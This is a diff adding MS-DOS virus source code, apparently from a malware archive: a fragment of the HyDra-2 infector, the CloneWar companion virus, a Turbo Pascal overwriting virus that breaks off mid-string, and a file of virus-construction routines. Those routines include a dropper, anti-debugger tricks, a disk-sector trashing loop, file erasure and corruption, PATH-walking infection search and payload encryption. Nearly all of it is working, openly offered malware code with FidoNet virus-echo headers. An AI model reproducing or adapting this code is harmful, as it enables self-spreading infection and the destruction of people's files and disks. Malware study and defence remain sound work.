JMP LOC_1 ; (0182) + DB 59H, 44H, 00H, 00H +DATA_5 DB 'HyDra-2 Beta - Not For Release' + DB '. *.CO?' + DB 0 +DATA_8 DW 0, 84FCH +DATA_10 DW 0 +DATA_11 DB 0 + DB 29 DUP (0) +DATA_12 DB 0 + DB 13 DUP (0) +COPYRIGHT DB 'Copyright (c)' + DB ' 1991 by C.A.V.E. ' +LOC_1: + PUSH AX + MOV AX,CS + ADD AX,1000H + XOR DI,DI ; Zero register + MOV CX,157H + MOV SI,OFFSET DS:[100H] + MOV ES,AX + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + MOV AH,1AH + MOV DX,OFFSET DATA_11 + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + MOV AH,4EH ; 'N' + MOV DX,OFFSET DATA_5+22H + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JC LOC_5 ; Jump if carry Set +LOC_2: + MOV AH,3DH ; '=' + MOV AL,2 + MOV DX,OFFSET DATA_12 + MOV AL,2 + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + MOV BX,AX + PUSH ES + POP DS + MOV AX,3F00H + MOV CX,0FFFFH + MOV DX,DATA_13E + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + ADD AX,157H + MOV CS:DATA_10,AX + CMP WORD PTR DS:DATA_14E,4459H + JNE LOC_3 ; Jump if not equal + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + PUSH CS + POP DS + MOV AH,4FH ; 'O' + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JC LOC_6 ; Jump if carry Set + JMP SHORT LOC_2 ; (01A4) +LOC_3: + XOR CX,CX ; Zero register + MOV DX,CX + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_4 ; Jump if carry Set + MOV AH,40H ; '@' + XOR DX,DX ; Zero register + MOV CX,CS:DATA_10 + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_4: + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + PUSH CS + POP DS +LOC_5: + MOV AH,1AH + MOV DX,DATA_3E + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + JMP SHORT LOC_7 ; (0218) + DB 90H +LOC_6: + PUSH DX + XOR AX,AX ; Zero register + XOR AX,AX ; Zero register + MOV DS,AX + MOV BX,DATA_2E + MOV AH,0FFH + MOV [BX],AH + XOR AX,AX ; Zero register + INT 13H ; Disk dl=drive 0 ah=func 00h + ; reset disk, al=return status + MOV AX,0 + INT 21H ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +LOC_7: + XOR DI,DI ; Zero register + MOV SI,DATA_1E + MOV CX,22H + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + POP BX + MOV CS:DATA_8,0 + MOV WORD PTR CS:DATA_8+2,ES + POP BX + JMP DWORD PTR CS:DATA_8 + DB 1EH, 07H,0B9H,0FFH,0FFH,0BEH + DB 57H, 02H,0BFH, 00H, 01H, 2BH + DB 0CEH,0F3H,0A4H, 2EH,0C7H, 06H + DB 00H, 01H, 00H, 01H, 2EH, 8CH + DB 1EH, 02H, 01H, 8BH,0C3H, 2EH + DB 0FFH, 2EH, 00H, 01H,0CDH + DB 20H + +HYDRA2 ENDP + +SEG_A ENDS + + + + END START + +;-+- Terminate 1.50/Pro +; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718) +;============================================================================= + +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/w0,/w1,/w2 Set warning level: w0=none, w1=w2=warnings on +; +;--- Aidstest Null: /Kill +;* Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir19.asm b/MSDOS/Virus.MSDOS.Unknown.vir19.asm new file mode 100644 index 00000000..d4ba40e2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir19.asm @@ -0,0 +1,197 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 9 of 54 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : CLONEWAR.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:26) +;* To : Mike Salvino +;* Subj : CLONEWAR.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org +;NON-RESIDENT SPAWNER + +CSEG SEGMENT + ASSUME CS:CSEG,DS:NOTHING + + ORG 100H ;Beginning for .COM programs + +START: JMP MY_BEGIN ;Initialization code is at end + + DB "CloneWar V1.0 " +wild DB "*.EXE",0 +file_Ext DB "COM",0 +file_found DB 12 DUP(' '), 0 +file_create DB 12 DUP(' '), 0 +search_attrib DW 17H +num_infect dw 0 + +my_cmd: +Cmd_len db 13 +file_clone db 12 DUP (' '), 0 + + ASSUME CS:CSEG, DS:CSEG, ES:NOTHING + +;------------------------------------------------------------------; +Prepare_command: + cld + mov di,OFFSET file_clone + mov al,0 + mov cx,12 + repne scasb ; find the end of string \0 + + mov al,0Dh ; + stosb ; replace \0 with a + + mov ax,12 ;store length of the command + sub ax,cx + mov cmd_len, al + ret + +;------------------------------------------------------------------; +Store_name: + + MOV DI,OFFSET file_found ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + MOV DI,OFFSET file_create ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + cld + mov di,OFFSET file_create + mov al,'.' + mov cx,9 + repne scasb ;find the '.' + + mov si,OFFSET file_ext + mov cx,3 + rep movsb ;replace the .EXE with .COM + + ret + + +;------------------------------------------------------------------; +;Does the file exist? + +Check_file: + mov dx,OFFSET file_create + mov cx,0 + mov ax,3d00h ; Open file read only + int 21h + +Chk_done: + ret + +;------------------------------------------------------------------; +Infect_file: +;Create file + mov dx,OFFSET file_create + mov cx,0 + mov ah,3ch + int 21h + jc EXIT + +;Write to file + mov bx,ax + mov cx,(OFFSET END_OF_CODE - OFFSET START) + mov dx,OFFSET START + mov ah,40h + int 21h + +;Close file + mov ah,3eh ; ASSUMES bx still has file handle + int 21h + +;Change attributes + mov dx,OFFSET file_create + mov cx,3 ;(1) read only, (2) hidden, (4) system + mov ax,4301h + int 21h + + ret + +;------------------------------------------------------------------; +; Read all the directory filenames and store as records in buffer. ; +;------------------------------------------------------------------; + +MY_BEGIN: + mov sp,offset STACK_HERE ;move stack down + mov bx,sp + add bx,15 + mov cl,4 + shr bx,cl + mov ah,4ah ;deallocate rest of memory + int 21h + + MOV DI,OFFSET file_clone ;Point to buffer. + MOV SI,OFFSET file_found + MOV CX,12 + REP MOVSB + +READ_DIR: MOV DX,OFFSET wild + MOV CX,search_attrib + + MOV AH,4EH ; This finds the first matching file. + INT 21H + + JC EXIT ;If empty directory, exit. + +Do_file: + call Store_name + + call Check_file + jnc seek_another ; CF = 0, shadow already there... skip it + + call Infect_file + jmp Exit + +seek_another: + +find_next: + mov ah,4fh + int 21h + jmp Do_file + +EXIT: + +;Run the original program + call Prepare_command + mov si, OFFSET my_cmd + int 2Eh ;Pass command to command + ; interpreter for execution +;Exit to DOS + MOV AX,4C00H + INT 21H + +END_OF_CODE = $ + +STACK_HERE EQU END_OF_CODE + 512 + +CSEG ENDS + END START + +;-+- PPoint 1.86 +; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/a,/s Alphabetic or Source-code segment ordering +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir2.asm b/MSDOS/Virus.MSDOS.Unknown.vir2.asm new file mode 100644 index 00000000..681289bd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir2.asm @@ -0,0 +1,121 @@ + +{ Beginning of source code, Turbo Pascal 3.01a } +{C-} +{U-} +{I-} { Wont allow a user break, enable IO check } + +{ -- Constants --------------------------------------- } + +Const + VirusSize = 13847; { AIDSYs code size } + + Warning :String[42] { Warning message } + = ZThis File Has Been Infected By AIDS! HaHa!Y; + +{ -- Type declarations------------------------------------- } + +Type + DTARec =Record { Data area for file search } + DOSnext :Array[1..21] of Byte; + Attr : Byte; + Ftime, + FDate, + FLsize, + FHsize : Integer; + FullName: Array[1..13] of Char; + End; + +Registers = Record {Register set used for file search } + Case Byte of + 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); + 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); + End; + +{ -- Variables--------------------------------------------- } + +Var + { Memory offset program code } + ProgramStart : Byte absolute Cseg:$100; + { Infected marker } + MarkInfected : String[42] absolute Cseg:$180; + Reg : Registers; { Register set } + DTA : DTARec; { Data area } + Buffer : Array[Byte] of Byte; { Data buffer } + TestID : String[42]; { To recognize infected files } + UsePath : String[66]; { Path to search files } + { Lenght of search path } + UsePathLenght: Byte absolute UsePath; + Go : File; { File to infect } + B : Byte; { Used } + LoopVar : Integer; {Will loop forever} + +{ -- Program code------------------------------------------ } + +Begin + GetDir(0, UsePath); { get current directory } + if Pos(Z\Y, UsePath) <> UsePathLenght then + UsePath := UsePath + Z\Y; + UsePath := UsePath + Z*.COMY; { Define search mask } + Reg.AH := $1A; { Set data area } + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } + Reg.AH := $4E; + Reg.DS := Seg(UsePath); + Reg.DX := Ofs(UsePath[1]); + Reg.CX := $ff; { Set attribute to find ALL files } + MsDos(Reg); { Find first matching entry } + IF not Odd(Reg.Flags) Then { If a file found then } + Repeat + UsePath := DTA.FullName; + B := Pos(#0, UsePath); + If B > 0 then + Delete(UsePath, B, 255); { Remove garbage } + Assign(Go, UsePath); + Reset(Go); + If IOresult = 0 Then { If not IO error then } + Begin + BlockRead(Go, Buffer, 2); + Move(Buffer[$80], TestID, 43); + { Test if file already ill(Infected) } + If TestID <> Warning Then { If not then ... } + Begin + Seek (Go, 0); + { Mark file as infected and .. } + MarkInfected := Warning; + { Infect it } + BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7)); + Close(Go); + Halt; {.. and halt the program } + End; + Close(Go); + End; + { The file has already been infected, search next. } + Reg.AH := $4F; + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + { ......................Until no more files are found } + Until Odd(Reg.Flags); +Loopvar:=Random(10); +If Loopvar=7 then +begin + Writeln(Z + + + + + + + + +Y); {Give a lot of smiles} +Writeln(ZY); +Writeln(Z Y); +Writeln(Z ATTENTION: + Y); +Writeln(Z I have been elected to inform you that throughout your process of + Y); +Writeln(Z collecting and executing files, you have accidentally H + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vir_rtns.asm b/MSDOS/Virus.MSDOS.Unknown.vir_rtns.asm new file mode 100644 index 00000000..20dc8b95 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir_rtns.asm @@ -0,0 +1,663 @@ +;These routines were pulled from the VCL as an aid to those who +;wish to write themselves some utilities. I have tried to gather +;all the essential pieces of the routines, so that you can simply +;install them in modules. +; +; +; +; +;This is a DROPPER routine from the VCL. + + + mov dx,offset data00 ; DX points to data + mov si,offset data01 ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a STOP TRACE technique for fouling up DEBUGGERS + + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + +;This is a TRASH routine for destroying sectors + + + mov ax,0002h ; First argument is 2 + mov cx,0001h ; Second argument is 1 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + +;This is a FILE ERASE routine + + + mov dx,offset data02 ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a DIRECTORY "PATH"/ FILE FIND routine + + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + +;This is a RAM REDUCTION routine + + + mov dx,0064h ; First argument is 100 + push es ; Save ES + mov ax,040h ; Set extra segment to 040h + mov es,ax ; (ROM BIOS) + mov word ptr es:[013h],dx ; Store new RAM ammount + pop es ; Restore ES + + mov ah,0Fh ; BIOS get video mode function + int 010h + xor ah,ah ; BIOS set video mode function + int 010h + + +;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine + + + mov cx,0005h ; First argument is 5 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + int 018h ; Drop to ROM BASIC + + + mov ax,04C00h ; DOS terminate function + int 021h + + +;This is a DISPLAY STRING routine + + +main proc near + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + +This is a RANDOM NUMBER from BIOS CLOCK generator + + +get_random proc near + xor ah,ah ; BIOS get clock count function + int 01Ah + xchg dx,ax ; Transfer the count into AX + ret ; Return to caller +get_random endp + + +This is an CODE ENCRYPTION routine + + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp + + +;This is a BEEP routine + + +beep proc near + jcxz beep_end ; Exit if there are no beeps + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: + ret ; Return to caller +beep endp + + +;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine + + + call get_day + cmp ax,000Bh ; Did the function return 11? + jne skip00 ; If not equal, skip effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function + +;Code goes between this--------------------------------> + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + + +;This is a FILE CORRUPTION routine + + + mov dx,offset data01 ; DX points to data + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,4096 ; Allocate 4096-byte buffer + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc corrupt_end ; If no files found then exit +corrupt_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc corrupt_file ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + + +;This is a COM PORT REARRANGING routin + + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + + +;This is a DROP TO ROM routine + + +rom_basic proc near + int 018h ; Drop to ROM BASIC + ret ; Return to caller +rom_basic endp + + +;This is a TUNE PLAYING routine + TUNE DATA + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + + +data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 + dw 262,6,262,6,293,6,329,6,262,12,262,12 + dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 + dw 246,6,196,6,220,6,246,6,262,12,262,12 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 + dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 + dw 196,6,262,6,246,6,293,6,262,12,262,12 + dw 0 + + +;This is an ANSI DISPLAY routine + + + + mov si,offset data01 ; SI points to data + xor cx,cx ; Clear CX + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + + +